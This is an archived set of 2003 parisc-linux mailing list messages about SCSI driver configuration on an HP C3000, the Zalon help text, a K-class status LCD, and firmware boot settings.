From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C3000 SCSI config, was Re: linux grundler
Date: Wed, 9 Jul 2003 19:17:37 +0100 (IST)
Lines: 56
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0307091825210.2022-100000@sal.ucc.ie>
References: <3F0571860000097D@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622575 27695 80.91.229.3 (22 Nov 2014 02:16:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:15 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	<parisc-linux@lists.parisc-linux.org>
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  9 12:18:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id A2848482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Jul 2003 12:18:22 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h69IHd727204;
	Wed, 9 Jul 2003 19:17:39 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <3F0571860000097D@ocpmta8.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18864

On Wed, 9 Jul 2003, Joel Soete wrote:

> >>> Builds/links/boots using my c3000 .config.
> >
> >Same here. Not dying under load either :)
> >
> >c.
>
> hmm i tested successfully NS87... builtin but failed as module:
> modprob do a page fault and lsmod shows me a module 'busy' and so the system
>
> ailled to reboot (only power off button works but fs were so not cleanly
> umount :( )

A little bit offtopic, but since you are speaking of C3000 and SCSI:


I replaced my buggy C240 with a C3000 (and got into more debts ;-/) and
it's working fine so far (fresh CVS co of 2.4.21-pa2).

Even Wireless network card (Netgear MA311, Prism chipset, full PCI, not
PCI-PCMCIA or PLX) works using the hostap driver (and in hostap mode)!!!

However don't try to use the kernel driver (orinoco/hermes), it seems
unstable, at least when the reception is not good or when transferring
huge files (kernel emits lots of warnings and makes it unresponsive)


My problem:

I was (only) using a external SE SCSI drive on my C240, so it was easy to
get the C3000 running: simply attach the SCSI box to it, and then copy
all the files onto the internal FW LVD SCSI drives of the C3000.

Well, the C3000 is very stable when just using the external SE SCSI, but
when trying to access the internal FW SCSI, it often aborts SCSI commands
and frequently resets (at least) the FW SCSI BUS, at least when trying to
copy large directories from SE SCSI to FW SCSI.

The machine has 1GB RAM, 2x 9GB LVD FW Seagate 9GB disks, no IDE cdrom,
no graphics.

I'm using the SYM2 driver (using default options), but I tried a
2.4.20-pa35 kernel with SYM1 and I had the same problems. I don't have my
config here, but I'm sure I've compiled the kernel with "Zalon" support,
since it's not clear to me, after reading the help, whether I need it or
not.

Can somebody give me his .config for a C3000 and can tell which driver to
use (SYM1 or SYM2)? Are there some kernel arguments neccessary for the
C3000?


Thanks, Max



From - Thu Nov 08 21:28:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 SCSI config, was Re: linux grundler
Date: Wed, 9 Jul 2003 19:34:23 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20030709183423.GB1939@parcelfarce.linux.theplanet.co.uk>
References: <3F0571860000097D@ocpmta8.freegates.net> <Pine.LNX.4.44.0307091825210.2022-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622576 27698 80.91.229.3 (22 Nov 2014 02:16:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:16 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  9 12:34:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E60F482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Jul 2003 12:34:30 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19aJln-0007J7-3y; Wed, 09 Jul 2003 19:34:23 +0100
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0307091825210.2022-100000@sal.ucc.ie>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18865

On Wed, Jul 09, 2003 at 07:17:37PM +0100, M. Grabert wrote:
> Well, the C3000 is very stable when just using the external SE SCSI, but
> when trying to access the internal FW SCSI, it often aborts SCSI commands
> and frequently resets (at least) the FW SCSI BUS, at least when trying to
> copy large directories from SE SCSI to FW SCSI.
> 
> The machine has 1GB RAM, 2x 9GB LVD FW Seagate 9GB disks, no IDE cdrom,
> no graphics.

Hm, you don't say whether you have terminators on your SCSI busses.

> I'm using the SYM2 driver (using default options), but I tried a
> 2.4.20-pa35 kernel with SYM1 and I had the same problems. I don't have my
> config here, but I'm sure I've compiled the kernel with "Zalon" support,
> since it's not clear to me, after reading the help, whether I need it or
> not.

Oh dear ;-( Here's the helptext for Zalon:

config SCSI_ZALON
        tristate "Zalon SCSI support"
        depends on GSC && SCSI
        help
          The Zalon is a GSC/HSC bus interface chip that sits between the
          PA-RISC processor and the NCR 53c720 SCSI controller on C100,
          C110, J200, J210 and some D, K & R-class machines.  It's also
          used on the add-in Bluefish, Barracuda & Shrike SCSI cards.
          Say Y here if you have one of these machines or cards.

I don't really see how I can make this more clear.  Can you tell me which
bit is confusing you?

> Can somebody give me his .config for a C3000 and can tell which driver to
> use (SYM1 or SYM2)? Are there some kernel arguments neccessary for the
> C3000?

Use SYM2 -- SYM1 is going away in 2.5, so if SYM2 doesn't work for you,
it needs to be fixed.  We used to need command line arguments on C3k
(and similar) boxes, but we don't any more.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mihails Nikitins <nikitins@latnet.lv>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: How to enable LCD screen on K-class?
Date: Thu, 10 Jul 2003 11:43:07 +0300 (EEST)
Lines: 15
Approved: news@gmane.org
Message-ID: <1057826587.3f0d271b5b81a@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=KOI8-R
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622576 27700 80.91.229.3 (22 Nov 2014 02:16:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 10 02:43:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.latnet.lv (mail.latnet.lv [159.148.108.208])
	by dsl2.external.hp.com (Postfix) with SMTP id 01719482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Jul 2003 02:43:08 -0600 (MDT)
Original-Received: (qmail 23196 invoked from network); 10 Jul 2003 08:43:07 -0000
Original-Received: from unknown (HELO sisenis.latnet.lv) (159.148.108.1)
  by mail.latnet.lv with SMTP; 10 Jul 2003 08:43:07 -0000
Original-Received: (qmail 3112 invoked by uid 33); 10 Jul 2003 08:43:07 -0000
User-Agent: IMP/PHP IMAP webmail program 2.2.6
X-Originating-IP: 212.93.96.158
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18866

> Woody Debian on my K-class does not show info on status LCD screen after linux
> is started. How to configure this feature? LCD is working before OS is loaded,
> then everything is black.

Anyway, is it possible to get it working? I see that something is overwriting
LCD diagnostic info while loading Linux.

My Kernel is compiled with 
CONFIG_CHASSIS_LCD_LED=y

Sure you know it. :-)

BR,
Mihails


From - Thu Nov 08 21:28:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dub <dub@latnet.lv>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Corrections for RAID1 howto and Resyncing after failure
Date: Thu, 10 Jul 2003 11:58:51 +0300 (EEST)
Lines: 45
Approved: news@gmane.org
Message-ID: <1057827531.3f0d2acb384bd@clients.latnet.lv>
References: <3F05718600000A59@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=KOI8-R
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622576 27703 80.91.229.3 (22 Nov 2014 02:16:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 10 02:58:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.latnet.lv (mail.latnet.lv [159.148.108.208])
	by dsl2.external.hp.com (Postfix) with SMTP id 6DF85482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Jul 2003 02:58:52 -0600 (MDT)
Original-Received: (qmail 9377 invoked from network); 10 Jul 2003 08:58:51 -0000
Original-Received: from unknown (HELO sisenis.latnet.lv) (159.148.108.1)
  by mail.latnet.lv with SMTP; 10 Jul 2003 08:58:51 -0000
Original-Received: (qmail 20212 invoked by uid 33); 10 Jul 2003 08:58:51 -0000
In-Reply-To: <3F05718600000A59@ocpmta8.freegates.net>
User-Agent: IMP/PHP IMAP webmail program 2.2.6
X-Originating-IP: 212.93.96.158
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18867

> 
> do you well set autosearch on ?
> Have a look at boot prompt: co bootinfo?
> 
> hth,
>     Joel

Hi,

You are right, autosearch was off. However, setting is on does not help, even
after powering off the system.

BR,
Dub



Configuration Menu: Enter command > bi

BOOT INFORMATION

   Processor         Boot ID
   ---------         -------
       0                  2  
       1                  2  

   Autoboot:             ON
   Autosearch:           ON
   Fastboot:             OFF

   Primary boot path:    10/0.1   (dec)
                         0a/0.1   (hex)
   Alternate boot path:  10/8.1   (dec)
                         0a/08.1   (hex)
   Console path:         10/4/0.0   (dec)
                         0a/04/0.0   (hex)
   Keyboard path:        10/12/7.0   (dec)
                         0a/0c/07.0   (hex)

   LAN Station Address:  080009-da4488

   Thu Jul  10 08:53:10 GMT 2003    (20:03:07:10:08:53:10)




From - Thu Nov 08 21:28:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 SCSI config, was Re: linux grundler
Date: Thu, 10 Jul 2003 11:18:34 +0100 (IST)
Lines: 60
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0307101113410.6826-100000@sal.ucc.ie>
References: <20030709183423.GB1939@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622576 27706 80.91.229.3 (22 Nov 2014 02:16:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:16 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	"Carlos O'Donell" <carlos@baldric.uwo.ca>,
	<parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 10 04:18:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4655C482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Jul 2003 04:18:57 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h6AAIY714334;
	Thu, 10 Jul 2003 11:18:37 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20030709183423.GB1939@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18868

On Wed, 9 Jul 2003, Matthew Wilcox wrote:

> Subject: Re: [parisc-linux] C3000 SCSI config, was Re: linux grundler
>
> On Wed, Jul 09, 2003 at 07:17:37PM +0100, M. Grabert wrote:
> > Well, the C3000 is very stable when just using the external SE SCSI, but
> > when trying to access the internal FW SCSI, it often aborts SCSI commands
> > and frequently resets (at least) the FW SCSI BUS, at least when trying to
> > copy large directories from SE SCSI to FW SCSI.
> >
> > The machine has 1GB RAM, 2x 9GB LVD FW Seagate 9GB disks, no IDE cdrom,
> > no graphics.
>
> Hm, you don't say whether you have terminators on your SCSI busses.

Yes, a (external) FW SCSI terminator and a (external) SE SCSI terminator
at the (external) SE SCSI box.

> > I'm using the SYM2 driver (using default options), but I tried a
> > 2.4.20-pa35 kernel with SYM1 and I had the same problems. I don't have my
> > config here, but I'm sure I've compiled the kernel with "Zalon" support,
> > since it's not clear to me, after reading the help, whether I need it or
> > not.
>
> Oh dear ;-( Here's the helptext for Zalon:
>
> config SCSI_ZALON
>         tristate "Zalon SCSI support"
>         depends on GSC && SCSI
>         help
>           The Zalon is a GSC/HSC bus interface chip that sits between the
>           PA-RISC processor and the NCR 53c720 SCSI controller on C100,
>           C110, J200, J210 and some D, K & R-class machines.  It's also
>           used on the add-in Bluefish, Barracuda & Shrike SCSI cards.
>           Say Y here if you have one of these machines or cards.
>
> I don't really see how I can make this more clear.  Can you tell me which
> bit is confusing you?

I'm using the the 2.4 -kernel, and it says:

"The Zalon is an interface chip that sits between the PA-RISC
processor and the NCR 53c720 SCSI controller on K-series PA-RISC
boards (these are used, among other places, on some HP 780
workstations).  Say Y here to make sure it gets initialized
correctly before the Linux kernel tries to talk to the controller."

Well, since the C240/C3000 are 780-series machines, I wasn't so sure ...

> > Can somebody give me his .config for a C3000 and can tell which driver to
> > use (SYM1 or SYM2)? Are there some kernel arguments neccessary for the
> > C3000?
>
> Use SYM2 -- SYM1 is going away in 2.5, so if SYM2 doesn't work for you,
> it needs to be fixed.  We used to need command line arguments on C3k
> (and similar) boxes, but we don't any more.

Thanks, Max



From - Thu Nov 08 21:28:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 SCSI config, was Re: linux grundler
Date: Thu, 10 Jul 2003 12:26:37 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20030710112637.GD1939@parcelfarce.linux.theplanet.co.uk>
References: <20030709183423.GB1939@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.44.0307101113410.6826-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622577 27713 80.91.229.3 (22 Nov 2014 02:16:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:17 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Joel Soete <jsoe0708@tiscali.be>,
	Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 10 05:26:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 24EAA482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Jul 2003 05:26:39 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19aZZN-000452-Pl; Thu, 10 Jul 2003 12:26:37 +0100
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0307101113410.6826-100000@sal.ucc.ie>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18869

On Thu, Jul 10, 2003 at 11:18:34AM +0100, M. Grabert wrote:
> > config SCSI_ZALON
> >         tristate "Zalon SCSI support"
> >         depends on GSC && SCSI
> >         help
> >           The Zalon is a GSC/HSC bus interface chip that sits between the
> >           PA-RISC processor and the NCR 53c720 SCSI controller on C100,
> >           C110, J200, J210 and some D, K & R-class machines.  It's also
> >           used on the add-in Bluefish, Barracuda & Shrike SCSI cards.
> >           Say Y here if you have one of these machines or cards.
> 
> I'm using the the 2.4 -kernel, and it says:
> 
> "The Zalon is an interface chip that sits between the PA-RISC
> processor and the NCR 53c720 SCSI controller on K-series PA-RISC
> boards (these are used, among other places, on some HP 780
> workstations).  Say Y here to make sure it gets initialized
> correctly before the Linux kernel tries to talk to the controller."
> 
> Well, since the C240/C3000 are 780-series machines, I wasn't so sure ...

OK, I'll just copy the 2.5 helptext into 2.4 then.  It wouldn't have
confused you, right?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 SCSI config, was Re: linux grundler
Date: Thu, 10 Jul 2003 12:28:26 +0100 (IST)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0307101227480.6826-100000@sal.ucc.ie>
References: <20030710112637.GD1939@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622577 27717 80.91.229.3 (22 Nov 2014 02:16:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:17 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	"Carlos O'Donell" <carlos@baldric.uwo.ca>,
	<parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 10 05:28:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D3484878
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Jul 2003 05:28:33 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h6ABSQ716952;
	Thu, 10 Jul 2003 12:28:26 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20030710112637.GD1939@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18870

On Thu, 10 Jul 2003, Matthew Wilcox wrote:

> > I'm using the the 2.4 -kernel, and it says:
> >
> > "The Zalon is an interface chip that sits between the PA-RISC
> > processor and the NCR 53c720 SCSI controller on K-series PA-RISC
> > boards (these are used, among other places, on some HP 780
> > workstations).  Say Y here to make sure it gets initialized
> > correctly before the Linux kernel tries to talk to the controller."
> >
> > Well, since the C240/C3000 are 780-series machines, I wasn't so sure ...
>
> OK, I'll just copy the 2.5 helptext into 2.4 then.  It wouldn't have
> confused you, right?

True ;)

Thanks, Max







From - Thu Nov 08 21:28:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Corrections for RAID1 howto and Resyncing after failure
Date: Thu, 10 Jul 2003 16:52:04 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <3F056E9500001C4E@ocpmta4.freegates.net>
References: <1057827531.3f0d2acb384bd@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622577 27719 80.91.229.3 (22 Nov 2014 02:16:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:17 +0000 (UTC)
To: "dub" <dub@latnet.lv>, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 10 08:52:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9DBAB482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Jul 2003 08:52:07 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19acks-0006Xk-01; Thu, 10 Jul 2003 16:50:42 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 10 Jul 2003 16:52:04 +0200
In-Reply-To: <1057827531.3f0d2acb384bd@clients.latnet.lv>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
